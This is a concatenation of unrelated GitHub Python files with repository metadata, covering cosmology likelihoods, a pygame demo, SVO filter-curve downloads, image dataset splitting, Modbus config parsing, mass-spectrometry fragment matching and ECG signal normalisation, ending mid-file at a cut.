(counterpart_z_array)*dVc_by_dz/(1+counterpart_z_array)\n \n # likelihood in luminosity distance from skymap\n distmu_los = distmu [counterpart_pix]\n distsigma_los = distsigma [counterpart_pix]\n likelihood_x_dl_skymap = norm (distmu_los, distsigma_los) \n\n # minimum and maximum distance of GW event\n self.dlGWmin = distmu_los - 5*distsigma_los\n self.dlGWmax = distmu_los + 5*distsigma_los\n if self.dlGWmin <=0 :\n self.dlGWmin = 0\n \n \n self.bright_siren_dictionary [event] [em_name] = {}\n self.bright_siren_dictionary [event] [em_name] [\"counterpart_z_array\"] = counterpart_z_array\n self.bright_siren_dictionary [event] [em_name] [\"counterpart_pdf\"] = counterpart_pdf\n self.bright_siren_dictionary [event] [em_name] [\"likelihood\"] = likelihood_x_dl_skymap\n self.bright_siren_dictionary [event] [em_name] [\"z_prior\"] = pz\n\n # save likelihood information\n likelihood_df = self.H0likelihood_events ()\n likelihood_df.insert (0, \"H0\", self.H0_array) \n likelihood_df.to_csv (filename, index=False)\n \n def likelihood_x_z_H0_single_event (self, event, H0, em_name, counterpart_z_array, redshift_bins_temp = 10000) :\n \n cosmo = FlatLambdaCDM(H0=H0, Om0=self.Om0, Tcmb0=2.725)\n zmin = self.dlH02z(self.dlGWmin*H0) *0.5\n zmax = self.dlH02z(self.dlGWmax*H0) *2\n \n zGW_array_temp = np.linspace (zmin,zmax,redshift_bins_temp)\n dl_array_temp = cosmo.luminosity_distance (zGW_array_temp).value\n \n likelihood_x_z_H0= self.bright_siren_dictionary [event] [em_name] [\"likelihood\"].pdf(dl_array_temp)\n likelihood_x_z_H0 /= simpson (likelihood_x_z_H0, zGW_array_temp)\n \n px_z_H0_interp = interp1d(zGW_array_temp,likelihood_x_z_H0,kind=\"linear\",bounds_error=False,fill_value=0)\n \n return px_z_H0_interp (counterpart_z_array)\n\n\n def H0likelihood_events (self) :\n\n likelihood_dictionary = {}\n\n for event in self.bright_siren_dictionary.keys () :\n for em_name in self.bright_siren_dictionary[event].keys() :\n\n counterpart_z_array_event = self.bright_siren_dictionary [event] [em_name] [\"counterpart_z_array\"]\n zprior_event = self.bright_siren_dictionary [event] [em_name] [\"z_prior\"]\n counterpart_pdf = self.bright_siren_dictionary [event] [em_name] [\"counterpart_pdf\"]\n\n likelihood_array = np.zeros (self.H0bins)\n\n for hh, H0 in enumerate (self.H0_array) :\n\n px_z_H0 = self.likelihood_x_z_H0_single_event (event, H0, em_name, counterpart_z_array_event)\n likelihood_array [hh] = simpson (px_z_H0*zprior_event*counterpart_pdf, counterpart_z_array_event)/H0**3\n\n likelihood_array /= simpson (likelihood_array, self.H0_array)\n\n likelihood_dictionary [f'{event}_{em_name}'] = likelihood_array\n\n likelihood_df = pd.DataFrame(likelihood_dictionary)\n\n return likelihood_df\n \n","repo_name":"LuisGalvisE/HOWEBSITE","sub_path":"bright_siren_likelihood.py","file_name":"bright_siren_likelihood.py","file_ext":"py","file_size_in_byte":7905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1955903564","text":"import pygame\r\n\r\n\r\npygame.init()#초기화하는 작업- 반드시 필요\r\n\r\n#게임 화면 크기 설정\r\nscreen_width=480 \r\nscreen_height=640\r\nscreen=pygame.display.set_mode((screen_width,screen_height)) #화면 크기 설정\r\n\r\n\r\n#화면 타이틀 설정\r\npygame.display.set_caption(\"My Game\") #게임 이름\r\n\r\n\r\n#이벤트루프 - 사용자가 입력하기 전에 꺼지는 등 종료되지 않고 기다리도록 설정\r\nrunning=True #현재 게임ㅁ이 진행중인지\r\nwhile running:\r\n for event in pygame.event.get(): #사용자 입력- 마우스나 키보드 입력이 들어오는지 계속 체크함\r\n if event.type==pygame.QUIT: #우측 상단의 x버튼 눌렀을 때\r\n running=False\r\n \r\n\r\n\r\n#그리고 while문 벗어나면 - 즉 running이 false이면 pygame 종료\r\npygame.quit()","repo_name":"JeongA-Shin/FSSN_2021","sub_path":"pygame_basic/1_create_frame.py","file_name":"1_create_frame.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19746823813","text":"def goodCanidate(n):\n strN = str(n)\n \n if \"0\" in strN: return False\n \n if len(strN) != len(set(strN)): return False\n \n if \"0\" in str(n * 2): return False\n \n return True\n\ncanidates = [ n for n in range(9123, 9999) if goodCanidate(n) ]\n\nfor c in reversed(canidates):\n print(\"checking: %s\" % c)\n if len(set(str(c) + str(c * 2))) == 9:\n print(\"Answer: %s; c: %s\" % (str(c) + str(c * 2), c))\n break;\n\nprint(\"Done...\")","repo_name":"xavi-/random","sub_path":"Euler/problem38.py","file_name":"problem38.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"16631134001","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 1 11:00:33 2017\n\nScript to download the list of available filter-curves from the SVO \n(http://svo2.cab.inta-csic.es/svo/theory/fps3/index.php?&mode=browse)\nwebsite and to download the filter-curves itself.\n\n@author: Patrick Rauer\n\"\"\"\nimport urllib\nfrom astropy.table import Table, vstack\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport os\nimport configparser\nimport pkg_resources\n\nSVO_URL = 'http://svo2.cab.inta-csic.es/svo/theory/fps3/{}'\n\nresource_package = 'armapy'\nresource_path = '/'.join(('local', 'shortcuts.ini'))\nshortcut_path = pkg_resources.resource_filename(resource_package, resource_path)\n\ncache_path = '/'.join(('local', 'cache', 'cache.ini'))\nCACHE = configparser.ConfigParser()\ntry:\n CACHE.read(pkg_resources.resource_filename(resource_package, cache_path))\nexcept FileNotFoundError:\n pass\n\n\nSURVEY_SHORTCUT = configparser.ConfigParser()\nSURVEY_SHORTCUT.read(shortcut_path)\n\n\ndef get_svo_filter_list(path='', update=False):\n \"\"\"\n Creates a complete list of all filter-curves, which are available on\n the SVO web page.\n \n :returns: \n A table with the telescope names, instrument names and the filter names\n :rtype: astropy.table.Table\n \"\"\"\n # if a path is given and the list should be updated\n if path != '' and not update:\n if os.path.exists(path):\n return Table.read(path)\n \n user_agent = ''.join(['Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) ',\n 'AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'])\n headers = {'User-Agent': user_agent}\n \n # download the main web page with all the telescopes\n url = 'http://svo2.cab.inta-csic.es/svo/theory/fps3/index.php?&mode=browse'\n req = urllib.request.Request(url, None, headers)\n with urllib.request.urlopen(req) as response:\n page = response.read()\n page = str(page)\n url_survey = 'http://svo2.cab.inta-csic.es/svo/theory/fps3/index.php?mode=browse&gname={}'\n\n # split the html-code in parts for the different surveys\n page = page.split('')[0]\n p = p.split('>')[-1]\n \n # add the survey name to the list\n names.append(p)\n \n # download the telescope web page\n req = urllib.request.Request(url_survey.format(p), None, headers)\n response = urllib.request.urlopen(req)\n survey_page = response.read()\n response.close()\n survey_page = str(survey_page)\n \n # split the telescope web page into the names of the instruments\n filters = survey_page.split('{} filters'.format(p))[-1]\n filters = filters.split('')\n filters_links.append({'name': f[1].split('')[-1]\n instrument_page = instrument_page.split('

Filter Plots')[0]\n instrument_page = instrument_page.split('#filter\\\">')\n instrument_page = instrument_page[1:]\n\n # extract the filter names from the code\n for ins in instrument_page:\n ins = ins.split('')\n band = ins[0].split('.')[-1]\n i['bands'].append(band)\n \n surveys = save_list(surveys, path=path, update=update)\n return surveys\n\n\ndef save_list(surveys, path='./filter_list_svo.fits',\n update=False):\n \"\"\"\n Saves the list of the available SVO filters\n\n :param surveys: The output of :meth:`get_svo_filter_list`\n :type surveys: list\n :param path: The path to the save place\n :type path: str\n :param update: True if the current file should be overwrite, else false.\n :type update: bool\n :return: A table with all the filters.\n :rtype: astropy.table.Table\n \"\"\"\n out = []\n for f in surveys:\n for i in f:\n try:\n tab = Table()\n tab['band'] = i['bands']\n tab['telescope'] = i['survey']\n tab['instrument'] = i['name']\n tab = tab[['telescope', 'instrument', 'band']]\n out.append(tab)\n except TypeError:\n pass\n\n # stack all the data in one table\n out = vstack(out)\n if path != '' and update:\n out.write(path, overwrite=True)\n return out\n\n\ndef download_filter_curve(telescope, instrument, band, \n path, file_type='VO'):\n \"\"\"\n Downloads a filter transmission curve from the SVO web page.\n \n :param telescope: The name of the telescope/ satellite\n :type telescope: str\n :param instrument: \n The name of the instrument (if the telescope has only one instrument,\n the name of the instrument is equal to the telescope name)\n :type instrument: str\n :param band: The name of the band\n :type band: str\n :param path: The path to the save place\n :type path: str\n :param file_type: \n The required file type, available formats are 'ascii' or 'VO'\n :type file_type: str\n \"\"\"\n # basic url of the SVO web-page\n url = 'http://svo2.cab.inta-csic.es/svo/theory/fps3/'\n # if the file type is 'ascii'\n if file_type == 'ascii':\n url += 'getdata.php?format=ascii&id='\n # if the file type is not 'ascii', which means that will be a VO-table\n else:\n url += 'fps.php?ID='\n # add the telescope, instrument and filter names to the url\n url += '{}/{}.{}'.format(telescope, instrument, band)\n urllib.request.urlretrieve(url, path)\n \n\ndef get_filter_curve(telescope, instrument, band, directory=''):\n \"\"\"\n Returns the specific filter curve back.\n To do that it will download the filter curve as a VO-table and read\n the results back in.\n \n :param telescope: The name of the telescope/satellite\n :type telescope: str\n :param instrument: \n The name of the instrument (if the telescope has only one instrument,\n the name of the instrument is equal to the telescope name)\n :type instrument: str\n :param band: The name of the band\n :type band: str\n :param directory: The ground directory to store the downloaded files\n :type directory: str\n :returns:\n A table with two columns. 'Wavelength' contains the wavelength in angstrom and 'Transmission' contains\n the transmission at the wavelength. The header of the table has additional information about the filter,\n like the effective wavelength or the zero points in the different filter systems.\n :rtype: astropy.table.Table\n \"\"\"\n save_path = '{}/{}/{}.fits'\n if directory != '':\n # if the last character is not '/', which means that is the name of the directory and not the path to the\n # directory\n if directory[-1] != '/':\n directory += '/'\n # check if the directory exists\n if not os.path.exists(directory+'{}/{}/'.format(telescope,\n instrument)):\n os.makedirs(directory+'{}/{}/'.format(telescope,\n instrument))\n directory += save_path.format(telescope, \n instrument, \n band)\n # if a file with the name exists, return the file as a astropy.table.Table\n if os.path.exists(directory):\n return Table.read(directory)\n\n # create the temporary name of the file\n path = './{}-{}-{}.xml'.format(telescope, instrument, band)\n\n # download the file\n download_filter_curve(telescope, instrument, band,\n path)\n\n # read the file in and add the meta information\n tab = Table.read(path)\n tab.meta.update(get_filter_information(telescope, instrument, band))\n\n # remove the temporary file\n os.remove(path)\n\n # if a directory is given, save the file\n if directory != '':\n tab.write(directory, overwrite=True)\n return tab\n\n\ndef _get_wavelength_properties(soup_filter):\n wavelengths = pd.read_html(soup_filter.find_all('table')[-6].decode(), header=0)[0]\n wavelengths['Property'] = [s.split(' ')[0].replace('λ', 'lambda_') for s in wavelengths['Property'].values]\n wavelengths = wavelengths.set_index('Property')['Calculated'].to_dict()\n return wavelengths\n\n\ndef _get_zero_points(soup_filter):\n zero_points = []\n for i, s in enumerate(['Vega', 'AB', 'ST']):\n ab = pd.read_html(soup_filter.find_all('table')[-5 + i].decode(), header=0)[0][:2].T[2:].T\n ab['system'] = [f'{s}_{u}' for u in ['ergs', 'jy']]\n zero_points.append(ab)\n zero_points = pd.concat(zero_points)\n return zero_points.set_index('system')['Calculated'].to_dict()\n\n\ndef get_filter_information(telescope, instrument, band):\n \"\"\"\n Collects the additional filter information from a SVO filter web-page\n\n :param telescope: The name of the telescope\n :type telescope: str\n :param instrument: The name of the instrument\n :type instrument: str\n :param band: The name of the filter\n :type band: str\n :return: A dict with all the additional information from the web-page\n :rtype: dict\n \"\"\"\n with urllib.request.urlopen(SVO_URL.format(f'index.php?id={telescope}/{instrument}.{band}')) as response:\n soup_filter = BeautifulSoup(response.read())\n try:\n properties = _get_wavelength_properties(soup_filter)\n properties.update(_get_zero_points(soup_filter))\n\n for old, new in zip(['Weff', 'FWHM', 'Af/AV'], ['w_eff', 'fwhm', 'af_av']):\n properties[new] = properties.pop(old)\n\n del properties['lambda_ref']\n del properties['Fsun']\n return properties\n except KeyError:\n raise ValueError(f'The combination of {telescope}, {instrument} and {band} is not valid. '\n f'Check for misspelling '\n f'(small and capital letter are important) or check the filter list for the required filter.')\n\n\ndef add_shortcut(shortcut_name, telescope, instrument, overwrite=False):\n \"\"\"\n Adds a new shortcut to the shortcut configuration file, if the shortcut name didn't exists before.\n If the shortcut exists and overwrite is True, it will overwrite the old entry. Otherwise it\n will do nothing.\n\n :param shortcut_name: The new shortcut value\n :type shortcut_name: str\n :param telescope: The name of the telescope\n :type telescope: str\n :param instrument: The name of the instrument\n :type instrument: str\n :param overwrite: True if the old version should be overwritten, else False. Default is False.\n :type overwrite: bool\n :return:\n \"\"\"\n if not SURVEY_SHORTCUT.has_section(shortcut_name):\n SURVEY_SHORTCUT.add_section(shortcut_name)\n SURVEY_SHORTCUT[shortcut_name] = {'telescope': telescope,\n 'instrument': instrument}\n elif overwrite:\n SURVEY_SHORTCUT[shortcut_name] = {'telescope': telescope,\n 'instrument': instrument}\n\n wr = open(shortcut_path, 'w')\n SURVEY_SHORTCUT.write(wr)\n\n\ndef get_survey_filter_information(survey, band):\n \"\"\"\n Short cut for common large surveys.\n If the survey isn't include in the shortcuts, a KeyError will raise.\n\n To add a shortcut, use :meth:`add_shortcut`\n\n :param survey: The name of the survey\n :type survey: str\n :param band: The name of the filter band\n :type band: str\n :return: The information of the filter of the survey\n :rtype: dict\n \"\"\"\n survey = survey.lower()\n if survey in SURVEY_SHORTCUT.keys():\n s = SURVEY_SHORTCUT[survey]\n\n # if the filter name is in the config-description\n # replace the band name\n if band in s.keys():\n band = s[band]\n cache_name = '{}_{}'.format(survey, band)\n if CACHE.has_section(cache_name):\n return CACHE[cache_name]\n else:\n properties = get_filter_information(s['telescope'], s['instrument'], band)\n if 'vega' in s.keys():\n properties['vega'] = bool(s['vega'])\n else:\n properties['vega'] = False\n CACHE.add_section(cache_name)\n CACHE[cache_name] = properties\n if not os.path.exists(cache_path):\n p = os.path.split(os.path.abspath(cache_path))[0]\n if not os.path.exists(p):\n os.makedirs(p)\n wr = open(cache_path, 'w')\n CACHE.write(wr)\n return properties\n else:\n raise KeyError('For {} is no short cut available.'.format(survey))\n\n\ndef get_filter_curve_survey(survey, band):\n\n \"\"\"\n Short cut for common large surveys.\n If the survey isn't include in the shortcuts, a KeyError will raise.\n\n To add a shortcut, use :meth:`add_shortcut`\n\n :param survey: The name of the survey\n :type survey: str\n :param band: The name of the filter band\n :type band: str\n :return: The information of the filter of the survey\n :rtype: dict\n \"\"\"\n survey = survey.lower()\n if survey in SURVEY_SHORTCUT.keys():\n s = SURVEY_SHORTCUT[survey]\n\n # if the filter name is in the config-description\n # replace the band name\n if band in s.keys():\n band = s[band]\n return get_filter_curve(s['telescope'], s['instrument'], band)\n else:\n raise KeyError('For {} is no short cut available.'.format(survey))\n","repo_name":"patrickRauer/armapy","sub_path":"armapy/svo.py","file_name":"svo.py","file_ext":"py","file_size_in_byte":14693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73750486321","text":"import os\nimport random\n\ndef assign_pics_to_folders(folders_root, directory_to, folders):\n \n for directory in folders:\n\n directory_from = folders_root + directory\n \n for file in os.listdir(directory_from):\n\n val = random.uniform(0, 1)\n \n if val > 0.9:\n\n direc = directory_to + \"test\" + \"/\" + directory + \"/\" + file\n os.rename(directory_from + \"/\" + file, direc)\n\n elif val > 0.7:\n\n direc = directory_to + \"valid\" + \"/\" + directory + \"/\" + file\n os.rename(directory_from + \"/\" + file, direc)\n\n else:\n\n direc = directory_to + \"train\" + \"/\" + directory + \"/\" + file\n os.rename(directory_from + \"/\" + file, direc)\n\n\n\n\n\nif __name__ == '__main__':\n\n assign_pics_to_folders(\"C:/Users/janne.m.flinck/Desktop/christmas/data/images/christmas/\",\n \"C:/Users/janne.m.flinck/Desktop/christmas/data/images/christmas/\",\n folders = [\"santa\", \"tree\", \"reindeer\"])","repo_name":"JMFlin/christmas-deeplearning","sub_path":"split_data.py","file_name":"split_data.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70809804404","text":"from os import path\nfrom operator import itemgetter\nfrom loguru import logger\nfrom env import DEVICE_LIST\nfrom schema import CSV\n\nPREFIX = \"devices\"\n\n\ndef check_file(filepath: str, filenames: list):\n if not path.exists(filepath):\n return\n for file in filenames:\n if not path.isfile(\"/\".join([filepath, file])):\n return\n return True\n\n\ndef check_headers(cols):\n params = []\n for k in CSV:\n params.append(k.value)\n for col in cols:\n if col not in params:\n return\n return cols\n\n\ndef csv_to_dict(csv_file: str, csv_delimiter: str):\n with open(f\"{PREFIX}/{csv_file}\", 'r') as fl:\n csv_txt = fl.read().splitlines()\n cols = check_headers(csv_txt[0].split(csv_delimiter))\n if not cols:\n return\n result_dict = dict.fromkeys(cols)\n try:\n for col in cols:\n result_dict[col] = []\n idx = 0\n rows = len(csv_txt) - 1\n while idx < rows:\n idx += 1\n row = csv_txt[idx].split(csv_delimiter)\n c = -1\n for col in cols:\n c += 1\n result_dict[col].append(row[c])\n return result_dict\n except Exception as e:\n logger.error(e)\n\n\ndef make_device(data):\n device = {'ip': data['ip'][0], 'port': data['port'][0], 'timeout': data['timeout'][0], \"unit\": data['unit'][0],\n 'poll_period': data['poll_period'][0], 'name': data['topic'][0]}\n return device\n\n\ndef make_points(conf):\n points = []\n pi = 0\n while pi < len(conf['name']):\n point = {'name': conf['name'][pi],\n 'reg_type': conf['reg_type'][pi],\n 'reg_address': conf['reg_address'][pi],\n 'quantity': conf['quantity'][pi],\n 'bit_number': conf['bit_number'][pi],\n 'value_type': conf['value_type'][pi],\n 'scale': conf['scale'][pi],\n 'word_order': conf['word_order'][pi],\n 'byte_order': conf['byte_order'][pi]}\n points.append(point)\n pi += 1\n return points\n\n\n\ndef normalize_config_values(config: list):\n devices_conf = []\n for conf in config:\n device = {}\n for key in conf.keys():\n idx = 0\n while idx < len(conf[key]):\n if conf[key][idx].isdigit():\n conf[key][idx] = int(conf[key][idx])\n elif conf[key][idx] == '':\n conf[key][idx] = None\n idx += 1\n device['device'] = make_device(conf)\n device['points'] = make_points(conf)\n devices_conf.append(device)\n\n return devices_conf\n\n\ndef create_config():\n config_list = list()\n if check_file(PREFIX, DEVICE_LIST):\n for d in DEVICE_LIST:\n config = csv_to_dict(d, \";\")\n if config:\n config_list.append(config)\n else:\n return\n normal_data = normalize_config_values(config_list)\n if normal_data:\n return normal_data\n","repo_name":"LutyiSan/modbusGTW","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16201931122","text":"import pandas as pd\nfrom classes import Bio_Graph as BG\nfrom classes import Helper_Funcs as hfunc\nimport decimal as dec\nimport networkx as nx\nfrom classes import Byspec_Reader as BR\nfrom classes import Charge_Mono_Caller as CMC\nimport os\n\n# Change to relevant graph files and data\ndata_file = r\"C:\\Users\\Hyperion\\Documents\\GitHub\\ms2_graph_tool\\OT_190122_APatel_Efaecalis_EnpA_10mAU.raw.byspec2\"\nTestNL = r\"C:\\Users\\Hyperion\\Documents\\GitHub\\ms2_graph_tool\\E faecalis monomer (AA Lat) NL.txt\"\nTestEL = r\"C:\\Users\\Hyperion\\Documents\\GitHub\\ms2_graph_tool\\E faecalis monomer (AA Lat) EL.txt\"\n\n#Do not change\nmass_table = r\"C:\\Users\\Hyperion\\Documents\\GitHub\\ms2_graph_tool\\masses_table.csv\"\nmod_table = r\"C:\\Users\\Hyperion\\Documents\\GitHub\\ms2_graph_tool\\mods_table.csv\"\n\n\nhf = hfunc.Helper_Funcs(TestNL,TestEL)\nnodes_from_file = hf.nodes_df()\nedges_from_file = hf.edges_df()\nmass_dict = hf.generate_dict(dict_table_filepath=mass_table)\nmod_dict = hf.generate_dict(dict_table_filepath=mod_table)\n\n\n\n# test_graph = BG.Bio_Graph(nodes_from_file,edges_from_file,mass_dict,mod_dict)\n# mg1 = test_graph.construct_graph()\n# test_graph.draw_graph(mg1)\n#\n# output = test_graph.fragmentation(mg1,cut_limit=3)\n#\n# l1,l2,l3 = test_graph.sort_fragments(output)\n#\n# nlist = test_graph.monoisotopic_mass_calculator(graph_fragments=output,graph_IDs=l1)\n# clist = test_graph.monoisotopic_mass_calculator(graph_fragments=output,graph_IDs=l2)\n# ilist = test_graph.monoisotopic_mass_calculator(graph_fragments=output,graph_IDs=l3)\n# enabled = ['y']\n# mzlist_graph = test_graph.generate_mass_to_charge_masses(nlist,clist,ilist,enabled_ions=enabled,charge_limit=2)\n#\n# print(mzlist_graph)\n#\n\nbio_graph = BG.Bio_Graph(nodes_from_file,edges_from_file,mass_dict,mod_dict)\n\n\ndef calculate_ppm_tolerance(mass,ppm_tol):\n return (mass*ppm_tol) / 1000000\n\ndef ppm_error(obs_mass,theo_mass):\n return (1-(dec.Decimal(obs_mass)/theo_mass))*1000000\n\ndef autosearch( selected_ions,user_set_cuts=1,user_set_charge=1, intact_ppm_tol: str = '10', frag_ppm: str = '20' ):\n\n molecules = {}\n molecule_IDs = []\n frag_structure = []\n matched_output = []\n\n\n NN_SIMPLE_CHARGE_WEIGHTS = r\"C:\\Users\\Hyperion\\Documents\\Code\\FOUR_APEX_OLD\\Models\\simple_weights.nn\"\n NN_MONO_WEIGHTS = r\"C:\\Users\\Hyperion\\Documents\\Code\\FOUR_APEX_OLD\\Models/\"\n charge_mono_caller = CMC.Charge_Mono_Caller(NN_SIMPLE_CHARGE_WEIGHTS, NN_MONO_WEIGHTS)\n byspec_reader = BR.Byspec_Reader(data_file)\n scan_mz_charges = byspec_reader.get_scan_mz_charge()\n i_ppm = dec.Decimal(intact_ppm_tol)\n f_ppm = dec.Decimal(frag_ppm)\n\n master_graph = bio_graph.construct_graph()\n\n\n for components in nx.connected_components(master_graph):\n molecule = nx.subgraph(master_graph, components)\n molecule_hash = bio_graph.graph_hash(molecule)\n molecule_IDs.append(molecule_hash)\n molecules.update({molecule_hash: molecule})\n\n molecule_momo_mass = bio_graph.monoisotopic_mass_calculator(molecules, molecule_IDs)\n\n for (mass, graph_ID) in molecule_momo_mass:\n print(mass[0])\n scans_to_search = []\n upper_mass_lim = mass[0] + calculate_ppm_tolerance(mass[0], i_ppm)\n lower_mass_lim = mass[0] - calculate_ppm_tolerance(mass[0], i_ppm)\n\n for scan_mz_charge_tuple in scan_mz_charges:\n scan = byspec_reader.get_scan_by_scan_number(scan_mz_charge_tuple[0])\n try:\n caller_result = charge_mono_caller.process(scan, scan_mz_charge_tuple[1])\n if caller_result['monoisotopic_mass'] > lower_mass_lim:\n if caller_result['monoisotopic_mass'] < upper_mass_lim:\n print('Valid scan added')\n scans_to_search.append(scan_mz_charge_tuple[3])\n\n except:\n print('-' * 20)\n print('parent ion not found in scan')\n print('scan: ', scan_mz_charge_tuple[0])\n print('mz: ', scan_mz_charge_tuple[1])\n print('charge: ', scan_mz_charge_tuple[2])\n print('#' * 20)\n\n\n if not scans_to_search:\n print('scan_to_search is empty')\n\n for scan_number in scans_to_search:\n scan = byspec_reader.get_scan_by_scan_number(scan_number)\n graph = nx.Graph(molecules[graph_ID])\n fragments = bio_graph.fragmentation(graph,cut_limit=user_set_cuts)\n total_theo_frags = len(fragments)\n n_frag, c_frag, i_frag = bio_graph.sort_fragments(fragments)\n nlist = bio_graph.monoisotopic_mass_calculator(fragments,n_frag)\n clist = bio_graph.monoisotopic_mass_calculator(fragments,c_frag)\n ilist = bio_graph.monoisotopic_mass_calculator(fragments,i_frag)\n frag_ions_df = bio_graph.generate_mass_to_charge_masses(nlist, clist, ilist, selected_ions,user_set_charge)\n for obs_mz,count in scan:\n for row in frag_ions_df.values:\n ions = row[0]\n ion_type = row[1]\n graph_key = row[2]\n for idx,ion in enumerate(ions):\n upper_frag_lim = ion + calculate_ppm_tolerance(ion,f_ppm)\n lower_frag_lim = ion - calculate_ppm_tolerance(ion,f_ppm)\n if lower_frag_lim < obs_mz < upper_frag_lim:\n ppm_diff = ppm_error(obs_mz,ion)\n charge = idx + 1\n fragment = nx.Graph(fragments[graph_key])\n fragment_nodes = str(fragment.nodes)\n frag_structure.append(fragment_nodes)\n matched_output.append((obs_mz,ion,charge,count,ppm_diff,ion_type,frag_structure))\n frag_structure = []\n\n matched_output_df = pd.DataFrame(matched_output, columns=['Observered Ion', 'Theoretical Ion', 'Charge', 'count', 'PPM Error', 'Ion Type', 'Structure'])\n matched_num = len(matched_output_df)\n score = round(((matched_num/total_theo_frags)*100))\n desired_width = 3840\n pd.set_option('display.width', desired_width)\n print(matched_output_df)\n output_dir_path = r\"C:\\Users\\Hyperion\\Desktop\\Score test\"\n output_folder = \"/\" + str(scan_number) + ' Score ' + str(score)\n os.mkdir(output_dir_path + output_folder)\n matched_output_df.to_csv(output_dir_path + output_folder + \"/scan\" + str(scan_number) +\"score\" + str(score) + \".csv\")\n\n matched_output.clear()\n\n return None\n\nenabled_ions = ['y', 'b','i']\nautosearch(selected_ions=enabled_ions,user_set_cuts=3,user_set_charge=2,intact_ppm_tol=10)\n","repo_name":"TheLostLambda/ms2graphs","sub_path":"fragment_finder/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71096348082","text":"# imports\nimport wfdb\nimport peakutils\nimport numpy as np\nimport pandas as pd\n# froms\nfrom sklearn import preprocessing # for normalizing data\n# For test data splitting\nfrom sklearn.model_selection import train_test_split\n# Plot Import\nimport matplotlib.pyplot as plt\nimport time\n# Pytorch\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader, Dataset, random_split\nimport trainer as tr\n\n# Return local time in YYYY-MM-DD_hhmm format\ndef get_local_time():\n \"\"\"\n Returns local time in YYYY-MM-DD_hhmm format.\n Useful for file naming such as saving model dicts/states\n \"\"\"\n # Get local time (used for file saving)\n t_year = str(time.localtime().tm_year)\n t_mon = str(time.localtime().tm_mon)\n t_day = str(time.localtime().tm_mday)\n t_hr = str(time.localtime().tm_hour)\n t_min = str(time.localtime().tm_min)\n\n if len(t_min) == 1:\n t_min = '0' + t_min\n\n loc_time = t_year + '-' + t_mon + '-' + t_day + '_' + t_hr + t_min\n return loc_time\n\ndef load_ecg_file(ecg_file):\n \"\"\"\n Unfortunately, the generated files already have sampling frequency into it but not normalized (sad)\n \"\"\"\n ecg_data = np.load(ecg_file)\n ecg_data = np.reshape( ecg_data, newshape=(ecg_data.shape[0], ecg_data.shape[1]) )\n ecg_data = np.reshape( ecg_data, newshape=(ecg_data.shape[0], ecg_data.shape[1], 1) )\n \n return ecg_data\n\n\n\n\ndef load_signal(data_name, folder='ecg_data/', v_fields=False, channel=1):\n \"\"\"\n Loads signals and fields from a ``WFDB.RDSAMP``\n\n Returns:\n 1D array of signals (entire record)\n signals, fields (from wfdb.rdsamp).\n\n Usage:\n signals, fields = wfdb.rdsamp(...)\n\n Parameters:\n\n data_name (str): File name from MIT-BIH (e.g. ``100``, ``124e06``).\n folder (str): folder directory from within this notebook, add '/' at the end (e.g. ```ecg_data```)\n v_fields (bool): True to have function print signal's fields attribute\n\n Example:\n load_signal('100', 'ecg_data'/)\n \"\"\"\n file_address = folder + data_name\n signals, fields = wfdb.rdsamp(file_address, channels=[channel])\n if v_fields == True:\n print(\"Printing fields information of the signal: \")\n print(fields)\n # return signals from the sample\n return signals\n\n\n\n\n# ============= NORMALIZATION =============\n\ndef norm_basic( ecg_set ):\n ecg_set_normed = ecg_set\n\n for i, sig in enumerate(ecg_set):\n sig = norm_global_opt_2(sig)\n ecg_set_normed[i] = sig\n \n return ecg_set_normed\n\ndef norm_sig( ecg_set, option=1 ):\n \"\"\"\n Normalizes signals between option\n (1) Between -1 and 1 (default option)\n (2) Between 0 and 1\n\n Return:\n ecg_set_normed: Normalized result using option\n \"\"\"\n ecg_set_normed = ecg_set\n \n if option == 1:\n for i, sig in enumerate(ecg_set):\n sig = norm_global_prime(sig)\n ecg_set_normed[i] = sig\n elif option == 2:\n for i, sig in enumerate(ecg_set):\n sig = norm_global_opt_2(sig)\n ecg_set_normed[i] = sig\n\n return ecg_set_normed\n\n\ndef norm_global_opt_1( x ):\n \"\"\"\n Normalized from [0,1] [min, max]\n \"\"\"\n x_prime = (x - x.min()) / (x.max() - x.min() )\n return x_prime\n\n\ndef norm_global_opt_2( x ):\n x_prime = (x - x.min()) / (x.max() - x.min())\n return x_prime;\n\n\ndef norm_global_prime( x ):\n \"\"\"\n Normalized from [-1,1] [min, max] (uses norm_global(x) )\n \"\"\"\n x = norm_global_opt_1(x)\n x_prime = (2*x)-1\n return x_prime\n\n# ============= \n# Do not use anymore\ndef norm_ecg_subsets( ecg_denoised_flat, ecg_clean_flat ):\n diff = ecg_clean_flat[0] - ecg_denoised_flat[0]\n adjusted_ecg_flat = ecg_denoised_flat + diff\n return adjusted_ecg_flat\n\n\n\n\n# ================ DATA MANIPULATION ================\n\ndef split_ecg_segments(ecg_data, start_minute=5):\n \"\"\"\n WORKS WITH 360 SAMP FREQUENCY ONLY\n Returns 2 Numpy arrays consisting of noised segments and cleaned segments.\n Returned segments are based on the noise introduced by the NST script wherein 2 minutes of\n noised signals are followed by 2 minutes of clean signals (then repeat steps alternating).\n The resulting Numpy arrays are reshaped already in here so that it can be used directly with\n Autoencoder.model.fit(x).\n\n Returns:\n\n noised_seg (Numpy Array):\n Contiguous noised segments in the input ECG signal by NST\n \n clean_seg (Numpy 